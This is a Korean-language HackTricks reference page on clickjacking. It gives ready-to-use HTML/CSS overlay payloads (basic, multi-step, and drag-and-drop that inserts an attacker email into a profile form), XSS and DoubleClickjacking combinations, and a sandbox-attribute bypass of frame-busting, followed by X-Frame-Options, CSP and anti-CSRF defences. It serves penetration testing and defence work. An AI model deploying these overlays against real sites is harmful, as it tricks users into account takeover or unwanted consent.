Clickjacking

Reading time: 7 minutes

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks 지원하기

What is Clickjacking

클릭재킹 공격에서 사용자보이지 않거나 다른 요소로 위장된 웹페이지의 요소클릭하도록 속아 넘어갑니다. 이러한 조작은 사용자에게 의도치 않은 결과를 초래할 수 있으며, 예를 들어 악성 소프트웨어 다운로드, 악성 웹 페이지로의 리디렉션, 자격 증명 또는 민감한 정보 제공, 금전 이체, 또는 온라인 제품 구매 등이 있습니다.

Prepopulate forms trick

때때로 페이지를 로드할 때 GET 매개변수를 사용하여 양식의 필드 값을 채우는 것이 가능합니다. 공격자는 이 동작을 악용하여 임의의 데이터로 양식을 채우고 클릭재킹 페이로드를 전송하여 사용자가 제출 버튼을 누르도록 할 수 있습니다.

Populate form with Drag&Drop

사용자에게 양식을 작성하도록 요구해야 하지만 특정 정보를 직접적으로 요청하고 싶지 않은 경우(예: 알고 있는 이메일 또는 특정 비밀번호), 사용자가 Drag&Drop하여 제어된 데이터를 입력하도록 요청할 수 있습니다. 이 예제와 같이요.

Basic Payload

css
<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>

다단계 페이로드

css
<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>

드래그 앤 드롭 + 클릭 페이로드

css
<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>

XSS + Clickjacking

사용자가 XSS를 트리거하기 위해 어떤 요소를 클릭해야 하는 XSS 공격을 식별하고 페이지가 클릭재킹에 취약하다면, 사용자를 속여 버튼/링크를 클릭하도록 할 수 있습니다.
예시:
계정의 일부 개인 정보에서 자기 XSS를 발견했습니다(정보는 오직 당신만 설정하고 읽을 수 있는 정보입니다). 이러한 세부 정보를 설정하는 양식클릭재킹취약하며 GET 매개변수로 양식미리 채울 수 있습니다.
공격자는 해당 페이지에 대한 클릭재킹 공격을 준비하여 XSS 페이로드양식미리 채우고 사용자제출하도록 속일 수 있습니다. 따라서 양식이 제출되고 값이 수정되면, 사용자는 XSS를 실행하게 됩니다.

DoubleClickjacking

먼저 이 게시물에서 설명됨, 이 기술은 피해자에게 특정 위치에 배치된 사용자 정의 페이지의 버튼을 두 번 클릭하도록 요청하며, 마우스 다운과 클릭 이벤트 간의 시간 차이를 이용해 두 번 클릭하는 동안 피해자 페이지를 로드하여 피해자가 실제로 피해자 페이지의 정당한 버튼을 클릭하게 만듭니다.

예시는 이 비디오에서 볼 수 있습니다: https://www.youtube.com/watch?v=4rGvRRMrD18

warning

이 기술은 사용자가 클릭재킹에 대한 모든 보호를 우회하여 피해자 페이지의 1곳을 클릭하도록 속일 수 있습니다. 따라서 공격자는 OAuth 권한 수락과 같이 단 1회의 클릭으로 수행할 수 있는 민감한 작업을 찾아야 합니다.

Strategies to Mitigate Clickjacking

Client-Side Defenses

클라이언트 측에서 실행되는 스크립트는 클릭재킹을 방지하기 위한 작업을 수행할 수 있습니다:

  • 애플리케이션 창이 주 창 또는 상위 창인지 확인합니다.
  • 모든 프레임을 표시합니다.
  • 보이지 않는 프레임에서의 클릭을 방지합니다.
  • 잠재적인 클릭재킹 시도에 대해 사용자에게 감지하고 경고합니다.

그러나 이러한 프레임 파괴 스크립트는 우회될 수 있습니다:

  • 브라우저의 보안 설정: 일부 브라우저는 보안 설정이나 JavaScript 지원 부족에 따라 이러한 스크립트를 차단할 수 있습니다.
  • HTML5 iframe sandbox 속성: 공격자는 allow-top-navigation 없이 allow-forms 또는 allow-scripts 값으로 sandbox 속성을 설정하여 프레임 파괴 스크립트를 무력화할 수 있습니다. 이는 iframe이 자신이 상위 창인지 확인하는 것을 방지합니다, 예를 들어,
html
<iframe
id="victim_website"
src="https://victim-website.com"
sandbox="allow-forms allow-scripts"></iframe>

allow-formsallow-scripts 값은 iframe 내에서의 작업을 활성화하면서 최상위 탐색을 비활성화합니다. 공격 유형에 따라 대상 사이트의 의도된 기능을 보장하기 위해 allow-same-originallow-modals와 같은 추가 권한이 필요할 수 있습니다. 브라우저 콘솔 메시지가 허용할 권한을 안내할 수 있습니다.

서버 측 방어

X-Frame-Options

X-Frame-Options HTTP 응답 헤더는 브라우저에 <frame> 또는 <iframe>에서 페이지를 렌더링하는 것의 정당성에 대해 알리며 Clickjacking을 방지하는 데 도움을 줍니다:

  • X-Frame-Options: deny - 어떤 도메인도 콘텐츠를 프레임할 수 없습니다.
  • X-Frame-Options: sameorigin - 현재 사이트만 콘텐츠를 프레임할 수 있습니다.
  • X-Frame-Options: allow-from https://trusted.com - 지정된 'uri'만 페이지를 프레임할 수 있습니다.
  • 제한 사항에 유의하세요: 브라우저가 이 지시어를 지원하지 않으면 작동하지 않을 수 있습니다. 일부 브라우저는 CSP frame-ancestors 지시어를 선호합니다.

Content Security Policy (CSP) frame-ancestors 지시어

CSP의 frame-ancestors 지시어는 Clickjacking 보호를 위한 권장 방법입니다:

  • frame-ancestors 'none' - X-Frame-Options: deny와 유사합니다.
  • frame-ancestors 'self' - X-Frame-Options: sameorigin과 유사합니다.
  • frame-ancestors trusted.com - X-Frame-Options: allow-from과 유사합니다.

예를 들어, 다음 CSP는 동일한 도메인에서만 프레임을 허용합니다:

Content-Security-Policy: frame-ancestors 'self';

추가 세부정보 및 복잡한 예제는 frame-ancestors CSP 문서Mozilla의 CSP frame-ancestors 문서에서 확인할 수 있습니다.

child-srcframe-src가 포함된 Content Security Policy (CSP)

**Content Security Policy (CSP)**는 브라우저가 콘텐츠를 로드할 수 있도록 허용해야 하는 소스를 지정하여 Clickjacking 및 기타 코드 주입 공격을 방지하는 보안 조치입니다.

frame-src 지시어

  • 프레임에 대한 유효한 소스를 정의합니다.
  • default-src 지시어보다 더 구체적입니다.
Content-Security-Policy: frame-src 'self' https://trusted-website.com;

이 정책은 동일 출처(자체) 및 https://trusted-website.com에서 프레임을 허용합니다.

child-src 지시어

  • 웹 워커 및 프레임에 대한 유효한 출처를 설정하기 위해 CSP 레벨 2에서 도입되었습니다.
  • frame-src 및 worker-src에 대한 대체 역할을 합니다.
Content-Security-Policy: child-src 'self' https://trusted-website.com;

이 정책은 동일 출처(자체) 및 https://trusted-website.com에서 프레임과 워커를 허용합니다.

사용 참고 사항:

  • 사용 중단: child-src는 frame-src 및 worker-src로 대체되고 있습니다.
  • 대체 동작: frame-src가 없으면 child-src가 프레임에 대한 대체로 사용됩니다. 둘 다 없으면 default-src가 사용됩니다.
  • 엄격한 출처 정의: 악용을 방지하기 위해 지침에 신뢰할 수 있는 출처만 포함하십시오.

JavaScript 프레임 깨기 스크립트

완전히 안전하지는 않지만, JavaScript 기반의 프레임 버스터 스크립트를 사용하여 웹 페이지가 프레임에 포함되는 것을 방지할 수 있습니다. 예:

javascript
if (top !== self) {
top.location = self.location
}

Anti-CSRF 토큰 사용

  • 토큰 검증: 웹 애플리케이션에서 anti-CSRF 토큰을 사용하여 상태 변경 요청이 사용자의 의도에 의해 이루어지고 Clickjacked 페이지를 통해 이루어지지 않도록 합니다.

참고문헌

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks 지원하기